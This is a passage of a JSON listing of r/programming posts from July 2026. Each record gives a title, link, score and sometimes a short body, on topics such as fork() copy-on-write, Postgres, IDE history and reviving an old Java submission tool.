    "url": "https://hashcloak.com/blog/a-tutorial-on-building-a-merkle-tree-air-script-in-plonky3?utm_source=reddit&utm_medium=social&utm_campaign=plonky_tutorial&utm_content=rprog",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0uqah",
  "url": "https://www.youtube.com/watch?v=VvwvLDpyZvk",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0uqah/how_fork_duplicates_a_process_without_copying_its/",
  "title": "How fork() duplicates a process without copying its memory",
  "body": "A visual explainer on how copy-on-write makes `fork()` cheap.\n\nA 10 GB process can fork almost instantly because Linux copies the page tables, shares the physical pages, marks them read-only, and only copies a page when one of the processes writes to it.\n\nIt also covers `fork()` \\+ `exec()`, how Redis snapshots work, Android Zygote, lazy zero pages, and some CVEs",
  "author": "Ok_Marionberry8922",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 7,
  "createdAt": "2026-07-19T16:16:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=VvwvLDpyZvk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0of6b",
  "url": "https://leetarxiv.substack.com/p/special-q-descent-and-lattice-sieving-931",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0of6b/commutative_complex_number_theory_in_plain_c/",
  "title": "Commutative Complex Number Theory in Plain C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.63,
  "numComments": 4,
  "createdAt": "2026-07-19T11:45:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/special-q-descent-and-lattice-sieving-931",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0n806",
  "url": "https://negroniventurestudios.com/2026/07/18/the-computer-at-the-bottom-of-a-canal/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0n806/the_computer_at_the_bottom_of_a_canal/",
  "title": "The computer at the bottom of a canal",
  "body": null,
  "author": "double-happiness",
  "subreddit": "programming",
  "score": 168,
  "upvoteRatio": 0.93,
  "numComments": 51,
  "createdAt": "2026-07-19T10:40:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://negroniventurestudios.com/2026/07/18/the-computer-at-the-bottom-of-a-canal/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0llyh",
  "url": "https://medium.com/pinterest-engineering/finding-zombies-in-our-systems-a-real-world-story-of-cpu-bottlenecks-ea4722e552eb",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0llyh/finding_zombies_in_our_systems_a_realworld_story/",
  "title": "Finding zombies in our systems: A real-world story of CPU bottlenecks",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.83,
  "numComments": 1,
  "createdAt": "2026-07-19T09:04:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/pinterest-engineering/finding-zombies-in-our-systems-a-real-world-story-of-cpu-bottlenecks-ea4722e552eb",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v0gkin",
  "url": "https://laurent.le-brun.eu/blog/a-history-of-ides-at-google",
  "permalink": "https://www.reddit.com/r/programming/comments/1v0gkin/a_history_of_ides_at_google/",
  "title": "A History of IDEs at Google",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 331,
  "upvoteRatio": 0.93,
  "numComments": 77,
  "createdAt": "2026-07-19T04:17:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://laurent.le-brun.eu/blog/a-history-of-ides-at-google",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v08tqo",
  "url": "https://frn.sh/pgfsync/",
  "permalink": "https://www.reddit.com/r/programming/comments/1v08tqo/the_fsync_inside_the_wal_lock/",
  "title": "The fsync inside the WAL lock",
  "body": null,
  "author": "dfbaggins",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.8,
  "numComments": 8,
  "createdAt": "2026-07-18T22:06:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://frn.sh/pgfsync/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1v01zwd",
  "url": "https://goliath32.com/blog/z80.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1v01zwd/the_zilog_z80_has_turned_50/",
  "title": "The Zilog Z80 has turned 50",
  "body": null,
  "author": "namanyayg",
  "subreddit": "programming",
  "score": 152,
  "upvoteRatio": 0.94,
  "numComments": 27,
  "createdAt": "2026-07-18T17:32:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://goliath32.com/blog/z80.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uzvfar",
  "url": "https://hashcloak.com/blog/tutorial-introduction-to-formal-verification-with-lean-(part-1)?utm_source=reddit&utm_medium=social&utm_campaign=lean_tutorial&utm_content=rprog",
  "permalink": "https://www.reddit.com/r/programming/comments/1uzvfar/tutorial_introduction_to_formal_verification_with/",
  "title": "Tutorial: Introduction to Formal Verification with Lean (Part 1)",
  "body": null,
  "author": "badcryptobitch",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.79,
  "numComments": 0,
  "createdAt": "2026-07-18T13:06:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hashcloak.com/blog/tutorial-introduction-to-formal-verification-with-lean-(part-1)?utm_source=reddit&utm_medium=social&utm_campaign=lean_tutorial&utm_content=rprog",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uzkqdg",
  "url": "https://youtu.be/ZqGSg4b_cZA?si=WS4vF7GKZ7HVUkzQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1uzkqdg/the_java_story_the_official_documentary_of_java/",
  "title": "The Java Story | The Official Documentary of Java",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 183,
  "upvoteRatio": 0.92,
  "numComments": 58,
  "createdAt": "2026-07-18T03:26:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ZqGSg4b_cZA?si=WS4vF7GKZ7HVUkzQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uzerp7",
  "url": "https://talkingpostgres.com/episodes/working-on-postgres-after-13-years-on-sql-server-with-panagiotis-antonopoulos",
  "permalink": "https://www.reddit.com/r/programming/comments/1uzerp7/what_surprised_an_engineer_after_spending_13/",
  "title": "What surprised an engineer after spending 13 years on SQL Server and then working on Postgres? on the Talking Postgres podcast",
  "body": "I host a Postgres podcast, and I recently recorded a conversation with Panos Antonopoulos, a Distinguished Engineer at Microsoft who spent 13 years working on SQL Server before moving onto Postgres and HorizonDB.\n\nPanos told me that at a high level, Postgres felt very familiar as he started to work on it, that the concepts are very similar. Transactions, storage, & more—the fundamentals transfer surprisingly well. We also covered:  \n\n* The cleanliness of the Postgres codebase.\n* How LLMs are making it easier to digest years of Postgres design discussions that are publicly available on the mailing lists.\n* Why Postgres has become the default answer for so many workloads, and why more people seem to be asking, \"Why not Postgres?\"\n* Shared-storage architectures and some of the work he's doing in Azure HorizonDB.\n\nOne quote that stuck with me:\n\n* \"That was a shocking experience for me. I could understand new areas in Postgres much faster than I could for SQL.\"\n\nFor people who have worked across multiple database systems (Oracle, SQL Server, MySQL, Postgres, etc.), I'm curious whether you've had a similar experience—or a completely different one.\n\nPodcast/transcript here if anyone is interested: [https://talkingpostgres.com/episodes/working-on-postgres-after-13-years-on-sql-server-with-panagiotis-antonopoulos](https://talkingpostgres.com/episodes/working-on-postgres-after-13-years-on-sql-server-with-panagiotis-antonopoulos)",
  "author": "clairegiordano",
  "subreddit": "programming",
  "score": 248,
  "upvoteRatio": 0.89,
  "numComments": 23,
  "createdAt": "2026-07-17T22:50:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://talkingpostgres.com/episodes/working-on-postgres-after-13-years-on-sql-server-with-panagiotis-antonopoulos",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uzapht",
  "url": "https://www.reddit.com/r/seed7/comments/1uvbc5a/seed7_version_20260711_released_on_github_and_sf/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uzapht/seed7_version_20260711_released/",
  "title": "Seed7 version 2026-07-11 released",
  "body": "Seed7 is a GPL licensed open source programming language. It is given away for free and nobody from the development team gets any money from it.",
  "author": "ThomasMertes",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.55,
  "numComments": 34,
  "createdAt": "2026-07-17T20:08:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/seed7/comments/1uvbc5a/seed7_version_20260711_released_on_github_and_sf/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uzadz5",
  "url": "https://github.com/lexvalo/mini-pad-submitter-revived",
  "permalink": "https://www.reddit.com/r/programming/comments/1uzadz5/maintaining_the_code_of_the_man_who_wrote_how_to/",
  "title": "Maintaining the code of the man who wrote \"How To Write Unmaintainable Code\"",
  "body": "Today I accidentally became the maintainer of software that was already almost three decades old: reviving a 1990s Java utility to keep the last PAD submitter alive in 2026.\n\nI was looking for a way to submit my AI app RiverScript to old desktop software directories and ended up digging through the long-forgotten world of PAD files.\n\nThere was one problem.\n\nThe only batch submission tool I could find was a Java application that first appeared in the late 1990s. The last release was in 2017.\n\nIt was written by Roedy Green of [Canadian Mind Products](https://mindprod.com/) – a software developer who passed away in 2023. He spent decades writing and freely distributing Java utilities, and maintaining the widely-read [Java Glossary](https://mindprod.com/jgloss/jgloss.html). Roedy Green also wrote [How To Write Unmaintainable Code](https://github.com/droogans/unmaintainable-code) – a famous satirical guide about writing code nobody can maintain. So, Roedy, today the code you wrote almost three decades ago was maintained.\n\nThe tool still did exactly what it was supposed to do. Thank you.\n\nIt just had absolutely no idea the modern web existed.\n\nIt happily produced URLs like `http://https://riverscript.com` instead of [https://riverscript.com](https://riverscript.com), disabled SNI globally (which was probably a perfectly reasonable workaround at some point), and couldn't cope with the fact that almost every website now redirects HTTP to HTTPS.\n\nSo I dug through the legacy Java code, fixed the compatibility issues, and got it working again.\n\nI used it to submit my app to several software directories, then published the revived version on GitHub so anyone who still needs it can use it too.\n\nMaybe nobody will ever need it again. Maybe someone will.\n\nEither way, I'm happy this old thing works again.\n\nSo today, the code of the man who wrote \"How To Write Unmaintainable Code\" is still being maintained even after he was gone.\n\nP.S. The public repository for [Mini PAD Submitter 26.3 Revived – 2026 Community Fix](https://github.com/lexvalo/mini-pad-submitter-revived) is available and open to everyone.\n\nP.P.S. At the request of redditors, I also added support for using custom submission directories.\n\nIn Roedy's original program, the list of 66 directories was hardcoded, and quite a few of them no longer exist. So I added a *sites.txt* file next to the application in the *dist* folder, where you can edit the list yourself – remove the ones that no longer exist and add new ones. The application simply reads the list from that file now, so you don't have to recompile anything.",
  "author": "Odd-Flamingo-6211",
  "subreddit": "programming",
  "score": 748,
  "upvoteRatio": 0.94,
  "numComments": 53,
  "createdAt": "2026-07-17T19:57:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/lexvalo/mini-pad-submitter-revived",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uza1nb",
  "url": "https://www.philipzucker.com/kissin_tla/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uza1nb/making_tla_and_x86_kiss_via_z3py/",
  "title": "Making TLA+ and x86 Kiss Via Z3Py",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.85,
  "numComments": 0,
  "createdAt": "2026-07-17T19:44:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.philipzucker.com/kissin_tla/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uz7clt",
  "url": "https://pradyumnachippigiri.substack.com/p/engineering-fast-search-with-inverted",
  "permalink": "https://www.reddit.com/r/programming/comments/1uz7clt/engineering_fast_searches_with_inverted_indexes/",
  "title": "Engineering fast searches with Inverted Indexes",
  "body": null,
  "author": "Comfortable-Fan-580",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-07-17T18:06:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pradyumnachippigiri.substack.com/p/engineering-fast-search-with-inverted",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uywy4t",
  "url": "https://blog.maximeheckel.com/posts/on-rendering-the-sky-sunsets-and-planets/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uywy4t/on_rendering_the_sky_sunsets_and_planets/",
  "title": "On Rendering the Sky, Sunsets, and Planets",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 28,
  "upvoteRatio": 0.91,
  "numComments": 2,
  "createdAt": "2026-07-17T11:25:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.maximeheckel.com/posts/on-rendering-the-sky-sunsets-and-planets/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uyvq9x",
  "url": "https://visualeaf.com/blog/the-10-levels-of-building-a-data-grid/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uyvq9x/the_10_levels_of_building_a_data_grid_my_1_year/",
  "title": "The 10 Levels of Building a Data Grid - My 1 Year Journey of Building a Table.",
  "body": "I wanted to make this post because man...tables are way harder than they look. I documented my 1 year journey of optimizations on a stupid table for my Database GUI. I made everything from scratch like an idiot thinking it'd be easy but oh boy was I wrong... The article goes over all the optimizations I made to make my table render data smoothly without lagging. It goes from what data structures I used and the rendering optimizations I did. I used MongoDB Compass as a baseline since they use AG-Grid for their table and I'm pretty happy that my table feels way smoother than that (In my own testing)! But yeah, I never realized that there would be so much depth in making a performant table.\n\n  \nPS. I decided not to use AG-Grid because there were a lot of customizations that I needed to do. I wanted column expansions ( if a field as an object or an array it would open columns to the right of it ). I also wanted an embedded text search where you could search for text within non visible columns (because they were in objects or arrays ) and AG Grid didn't really support that behavior so ..yeah.  Anyways have a good read!\n\n",
  "author": "Fun-Chicken6946",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.85,
  "numComments": 24,
  "createdAt": "2026-07-17T10:21:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://visualeaf.com/blog/the-10-levels-of-building-a-data-grid/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uyvnli",
  "url": "https://dsprtn.dev/posts/GTFO-VR-Postmortem/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uyvnli/gtfo_vr_mod_postmortem/",
  "title": "GTFO VR Mod Postmortem",
  "body": null,
  "author": "DirtySpartan",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-07-17T10:17:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dsprtn.dev/posts/GTFO-VR-Postmortem/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uyt0tf",
  "url": "https://questdb.com/blog/cmov-vs-branch-perf/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uyt0tf/the_most_expensive_instruction_might_be_cmov/",
  "title": "The most expensive instruction might be… cmov",
  "body": null,
  "author": "_shadowbannedagain",
  "subreddit": "programming",
  "score": 262,
  "upvoteRatio": 0.94,
  "numComments": 17,
  "createdAt": "2026-07-17T07:44:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://questdb.com/blog/cmov-vs-branch-perf/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uyosj1",
  "url": "https://matklad.github.io/2026/05/12/software-architecture.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uyosj1/learning_software_architecture/",
  "title": "Learning Software Architecture",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 109,
  "upvoteRatio": 0.87,
  "numComments": 23,
  "createdAt": "2026-07-17T03:55:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://matklad.github.io/2026/05/12/software-architecture.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uyhqyt",
  "url": "https://tokay0.com/posts/millions-of-shark-vacuums-vulnerable-to-rce.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uyhqyt/no_shark_is_safe_millions_of_shark_vacuums_are/",
  "title": "No Shark is Safe: Millions of Shark Vacuums are Vulnerable to RCE",
  "body": null,
  "author": "ScottContini",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.86,
  "numComments": 11,
  "createdAt": "2026-07-16T22:37:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tokay0.com/posts/millions-of-shark-vacuums-vulnerable-to-rce.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uyhn8p",
  "url": "https://robertsdotpm.github.io/software_engineering/goroutines_for_python.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uyhn8p/goroutines_for_python/",
  "title": "Goroutines for Python",
  "body": null,
  "author": "Blockpair",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.32,
  "numComments": 21,
  "createdAt": "2026-07-16T22:33:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://robertsdotpm.github.io/software_engineering/goroutines_for_python.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uybpgq",
  "url": "https://www.uncommonapps.nyc/p/reclaiming-a-decade-of-podcast-listening",
  "permalink": "https://www.reddit.com/r/programming/comments/1uybpgq/reclaiming_a_decade_of_podcast_listening_history/",
  "title": "Reclaiming a decade of podcast listening history",
  "body": null,
  "author": "dabluck",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.82,
  "numComments": 0,
  "createdAt": "2026-07-16T18:50:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.uncommonapps.nyc/p/reclaiming-a-decade-of-podcast-listening",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uy8b5l",
  "url": "https://sinja.io/blog/data-landscape-guide-for-developers",
  "permalink": "https://www.reddit.com/r/programming/comments/1uy8b5l/guide_to_data_tools_landscape_for_developers/",
  "title": "Guide to data tools landscape for developers · OlegWock",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.85,
  "numComments": 0,
  "createdAt": "2026-07-16T16:48:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sinja.io/blog/data-landscape-guide-for-developers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uy722h",
  "url": "https://open.substack.com/pub/allhailthetopology/p/linux-transparent-proxy-internals?r=5ylwe7&utm_medium=ios",
  "permalink": "https://www.reddit.com/r/programming/comments/1uy722h/linux_transparent_proxy_internals/",
  "title": "Linux transparent proxy internals",
  "body": null,
  "author": "ldelossa",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.71,
  "numComments": 0,
  "createdAt": "2026-07-16T16:03:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/allhailthetopology/p/linux-transparent-proxy-internals?r=5ylwe7&utm_medium=ios",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uy0hyq",
  "url": "https://jon.chrt.dev/2026/04/15/things-you-didnt-know-about-indexes.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uy0hyq/things_you_didnt_know_about_indexes/",
  "title": "Things you didn't know about indexes",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 263,
  "upvoteRatio": 0.91,
  "numComments": 55,
  "createdAt": "2026-07-16T11:45:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jon.chrt.dev/2026/04/15/things-you-didnt-know-about-indexes.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uxnfri",
  "url": "https://mail.openjdk.org/archives/list/core-libs-dev@openjdk.org/thread/Y72NRXM7KYBX43OKYBQMVKOZDWKG4MHS/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uxnfri/dan_smith_from_openjdk_identifying_jdk_value/",
  "title": "Dan Smith from OpenJDK -- Identifying JDK value class candidates",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.63,
  "numComments": 8,
  "createdAt": "2026-07-16T00:26:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mail.openjdk.org/archives/list/core-libs-dev@openjdk.org/thread/Y72NRXM7KYBX43OKYBQMVKOZDWKG4MHS/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uxjm12",
  "url": "https://mindgard.ai/blog/cursor-0day-when-full-disclosure-becomes-the-only-protection-left",
  "permalink": "https://www.reddit.com/r/programming/comments/1uxjm12/cursor_0day_when_full_disclosure_becomes_the_only/",
  "title": "Cursor 0day: When Full Disclosure Becomes the Only Protection Left",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 703,
  "upvoteRatio": 0.96,
  "numComments": 135,
  "createdAt": "2026-07-15T21:52:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mindgard.ai/blog/cursor-0day-when-full-disclosure-becomes-the-only-protection-left",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uxgmmq",
  "url": "https://mort.coffee/home/sqlite-editions/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uxgmmq/sqlite_should_have_ruststyle_editions/",
  "title": "SQLite should have (Rust-style) editions",
  "body": null,
  "author": "mort96",
  "subreddit": "programming",
  "score": 152,
  "upvoteRatio": 0.85,
  "numComments": 75,
  "createdAt": "2026-07-15T19:58:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mort.coffee/home/sqlite-editions/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uxeand",
  "url": "https://youtu.be/6StBVHIos8I",
  "permalink": "https://www.reddit.com/r/programming/comments/1uxeand/asmr_building_a_tcp_chat_application_in_go/",
  "title": "ASMR: Building a TCP Chat Application in Go",
  "body": null,
  "author": "Nouman-Rahman",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.11,
  "numComments": 6,
  "createdAt": "2026-07-15T18:28:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/6StBVHIos8I",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uxcpa8",
  "url": "https://fabiensanglard.net/jurrasic_park_computers/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uxcpa8/jurassic_park_computers_in_excruciating_detail/",
  "title": "Jurassic Park computers in excruciating detail",
  "body": null,
  "author": "namanyayg",
  "subreddit": "programming",
  "score": 377,
  "upvoteRatio": 0.97,
  "numComments": 29,
  "createdAt": "2026-07-15T17:32:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fabiensanglard.net/jurrasic_park_computers/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ux6ms9",
  "url": "https://www.chiply.dev/post-july-emacs-carnival",
  "permalink": "https://www.reddit.com/r/programming/comments/1ux6ms9/a_tree_and_a_server_walk_into_a_core/",
  "title": "A Tree and a Server Walk Into a Core...",
  "body": "This is about treesitter and LSP, specifically on their utility and recent journey into the Emacs core.  Includes interactive visualizations of concrete syntax trees. ",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.65,
  "numComments": 0,
  "createdAt": "2026-07-15T13:57:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-july-emacs-carnival",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ux6970",
  "url": "https://nilirad.dev/blog/commit-bridge-intro/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ux6970/requisites_change_while_you_iterate_lessons_i/",
  "title": "Requisites change while you iterate: Lessons I learned from building a concurrent DevOps tool for automatically triggering GitHub workflows",
  "body": "I learned a lot of things by building a project from scratch: a backend DevOps tool that facilitates managing the fast update cycle in git dependencies.\n\nOverall, the system works by running two concurrent tasks: one to check dependencies, and the other to trigger workflows. When a dependency is updated, a workflow of the dependent GitHub repository is triggered. Initially, to pass data between tasks, I used an MPSC channel, but subsequently I transitioned to a database-backed queue because the channel was not resilient enough to crashes and network errors.\n\nIn the article you can find more examples of unexpected quirks that I needed to iron out after the first iteration.",
  "author": "nilirad",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.84,
  "numComments": 0,
  "createdAt": "2026-07-15T13:43:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nilirad.dev/blog/commit-bridge-intro/",
